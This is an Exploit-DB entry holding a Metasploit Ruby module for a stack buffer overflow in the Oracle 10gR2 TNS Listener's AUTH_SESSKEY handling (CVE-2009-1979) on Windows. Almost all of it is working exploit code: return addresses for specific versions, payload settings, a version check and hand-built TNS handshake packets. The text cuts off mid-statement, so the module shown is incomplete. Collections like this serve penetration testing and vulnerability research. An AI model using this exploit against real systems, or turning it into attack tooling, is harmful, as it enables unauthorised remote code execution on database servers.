Exploit-DB #16342
Description: Oracle 10gR2 - TNS Listener AUTH_SESSKEY Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-24
Author: Metasploit

Exploit:
##
# $Id: tns_auth_sesskey.rb 11128 2010-11-24 19:43:49Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::TNS
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in Oracle. When
				sending a specially crafted packet containing a long AUTH_SESSKEY value
				to the TNS service, an attacker may be able to execute arbitrary code.
			},
			'Author'         => [ 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11128 $',
			'References'     =>
				[
					[ 'CVE', '2009-1979'],
					[ 'OSVDB', '59110'],
					[ 'BID', '36747'],
					[ 'URL', 'http://blogs.conus.info/node/28' ],
					[ 'URL', 'http://blogs.conus.info/node/35' ],
					[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2009.html' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'        =>
				{
					'Space'    => 0x17e,
					'BadChars' => "", # none, thx memcpy!
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],

					[ 'Oracle 10.2.0.1.0 Enterprise Edition',
						{
							# Untested
							'Ret' => 0x011b0528 # p/p/r in oracle.exe v10.2.0.3
						}
					],
					[ 'Oracle 10.2.0.4.0 Enterprise Edition',
						{
							# Tested OK - 2010-Jan-20 - jduck
							'Ret' => 0x01347468 # p/p/r in oracle.exe v10.2.0.3
						}
					]
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Oct 20 2009'))

		register_options(
			[
				Opt::RPORT(1521)
			], self.class)
	end


	def check
		version = tns_version
		if (not version)
			raise RuntimeError, "Unable to detect version!"
		end
		print_status("Oracle version reply: " + version)
		return Exploit::CheckCode::Vulnerable if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
		return Exploit::CheckCode::Vulnerable if (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)
		return Exploit::CheckCode::Safe
	end


	def exploit

		mytarget = nil
		if target.name =~ /Automatic/
			print_status("Attempting automatic target detection...")

			version = tns_version
			if (not version)
				raise RuntimeError, "Unable to detect version!"
			end

			if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
				mytarget = targets[1]
			elsif (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)
				mytarget = targets[2]
			end

			if (not mytarget)
				raise RuntimeError, "Unable to automatically detect the target"
			end

			print_status("Automatically detected target \"#{mytarget.name}\"")
		else
			mytarget = target

			print_status("Attacking using target \"#{mytarget.name}\"")
		end


		username = rand_text_alphanumeric(0x1c)

		connect

		print_status("Sending NSPTCN packet ...")
		connect_data = "" +
			"(DESCRIPTION=" +
				"(CONNECT_DATA=" +
					"(SERVICE_NAME=orcl)" +
					"(CID=" +
						"(PROGRAM=client.exe)" +
						"(HOST=client_host)" +
					")" +
				")" +
				"(ADDRESS=" +
					"(PROTOCOL=TCP)" +
					"(PORT=1521)" +
				")" +
			")"
		nsptcn_pkt = tns_packet(connect_data)
		sock.put(nsptcn_pkt)

		# read NSPTRS (expecting 8 bytes)
		res = sock.get_once(-1, 1)
		#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

		print_status("Re-sending NSPTCN packet ...")
		sock.put(nsptcn_pkt)

		# read NSPTAC (expecting 32 bytes)
		begin
			res = sock.get_once(-1, 1)
		rescue ::Errno::ECONNRESET, EOFError
			raise RuntimeError, "OOPS, maybe the service hasn't started completely yet, try again..."
		end
		#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

		# send NA
		print_status("Sending NA packet ...")
		na_stuff = [0xdeadbeef].pack('N') +
			"\x00\x92" +
			"\x0B\x10\x06\x00\x00\x04\x00\x00\x04\x00\x03\x00\x00\x00\x00\x00" +
			"\x04\x00\x05\x0B\x10\x06\x00\x00\x08\x00\x01\x00\x00\x0A\xF8\x71" +
			"\xC2\x6C\xE1\x00\x12\x00\x01\xDE\xAD\xBE\xEF\x00\x03\x00\x00\x00" +
			"\x04\x00\x04\x00\x01\x00\x01\x00\x02\x00\x01\x00\x03\x00\x00\x00" +
			"\x00\x00\x04\x00\x05\x0B\x10\x06\x00\x00\x02\x00\x03\xE0\xE1\x00" +
			"\x02\x00\x06\xFC\xFF\x00\x02\x00\x02\x00\x00\x00\x00\x00\x04\x00" +
			"\x05\x0B\x10\x06\x00\x00\x0C\x00\x01\x00\x11\x06\x10\x0C\x0F\x0A" +
			"\x0B\x08\x02\x01\x03\x00\x03\x00\x02\x00\x00\x00\x00\x00\x04\x00" +
			"\x05\x0B\x10\x06\x00\x00\x03\x00\x01\x00\x03\x01"
		na_pkt = nsptda_packet(na_stuff)
		sock.put(na_pkt)

		# read response (expecting 127 bytes)
		res = sock.get_once(-1, 1)
		#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

		# send TTIPRO
		print_status("Sending TTIPRO packet ...")
		ttipro_stuff = "\x01\x06\x05\x04\x03\x02\x01\x00" +
			"IBMPC/WIN_NT-8.1.0" +
			"\x00"
		ttipro_pkt = nsptda_packet(ttipro_stuff)
		sock.put(ttipro_pkt)

		# read response (expecting 179 bytes)
		res = sock.get_once(-1, 1)
		#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

		# send TTIDTY
		print_status("Sending TTIDTY packet ...")
		ttidty_stuff = "\x02\xB2\x00\xB2\x00\xD2" +
			"\x25\x06\x01\x01\x01\x0D\x01\x01\x05\x01\x01\x01\x01\x01\x01\x01" +
			"\x7F\xFF\x03\x09\x03\x03\x01\x00\x7F\x01\x1F\xFF\x01\x03\x01\x01" +
			"\x3F\x01\x01\x05\x00\x01\x07\x02\x01\x00\x00\x18\x00\x01\x80\x00" +
			"\x00\x00\x3C\x3C\x3C\x80\x00\x00\x00\xD0\x07"
		ttidty_